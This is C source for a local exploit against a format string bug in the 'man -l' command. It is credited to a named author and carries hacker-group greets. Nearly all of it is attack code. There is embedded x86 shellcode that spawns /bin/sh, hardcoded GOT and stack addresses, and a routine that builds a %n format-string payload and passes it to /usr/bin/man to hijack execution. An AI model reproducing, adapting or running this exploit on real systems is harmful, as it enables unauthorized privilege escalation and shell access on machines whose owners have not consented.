/* local man exploit 
 * -l format string bug
 *
 * greets: skyper, gamma, muskrat, scut, hendy, #!teso, #!el8
 * segfault.net
 *
 * --
 * Andi <andi@void.at>
 */

#include <stdio.h>

char shell[]=
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


#define STACKPOP 167
#define GOT      0x0805d1d4
#define ADDR     0xbffff178     /* really? =) */
#define POPCMD   "%08x|"

char *convert(long v);

int main(int argc, char **argv) {
    char buf[2048] = "",
         stackpop[2048] = "";
    int  i = STACKPOP, j;

    while (i--) strcat(stackpop, POPCMD);
   
    j = ADDR + 12 + STACKPOP * strlen(POPCMD) + 20;
 
    i = (j >> 16) & 0xffff - 12 - STACKPOP * strlen(POPCMD) - 16;
    j = j & 0xffff - i;

    snprintf(buf, sizeof(buf), "%s\x90\x90\x90\x90%s%s%%.%05du%%n%%n", 
                               convert(GOT), convert(GOT+2), stackpop, i, j);
    strcat(buf,"\x90\x90\x90\x90\x90\x90");
    strcat(buf, shell);
    i = 2046 - strlen(buf);
    while (i--) strcat(buf, " ");
    execl("/usr/bin/man","man","-l", buf, NULL);
}

char *convert(long v) {
    char *t = (char*) malloc(5);
    sprintf(t, "%c%c%c%c", (v & 0xff), (v >> 8) & 0xff,  (v >> 16) & 0xff, ( v >> 24) & 0xff);
    return t;
}